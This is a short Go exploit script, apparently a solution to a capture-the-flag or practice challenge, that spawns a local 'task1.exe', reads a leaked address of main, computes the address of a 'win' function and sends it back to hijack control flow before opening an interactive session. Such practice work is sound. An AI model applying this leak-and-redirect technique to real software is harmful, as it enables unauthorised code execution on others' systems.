package main import ( "bytes" "fmt" "log" "strconv" "winpwn" ) func main() { tube, err := winpwn.Spawn("./task1.exe") if err != nil { log.Fatalf("Spawn: %v", err) } if _, err := tube.RecvUntil([]byte("main: ")); err != nil { log.Fatalf("RecvUntil: %v", err) } addrBytes, err := tube.RecvUntil([]byte("\n")) if err != nil { log.Fatalf("RecvUntil: %v", err) } mainAddr, err := strconv.ParseUint(string(bytes.TrimSpace(addrBytes)), 16, 64) if err != nil { log.Fatalf("parse addr: %v", err) } fmt.Printf("[+] Leaked main: 0x%X\n", mainAddr) winAddr := mainAddr - 267 fmt.Printf("[+] win: 0x%X\n", winAddr) if err := tube.SendLineAfter([]byte("0x12345: "), []byte(fmt.Sprintf("%x", winAddr))); err != nil { log.Fatalf("SendLineAfter: %v", err) } tube.Interactive() }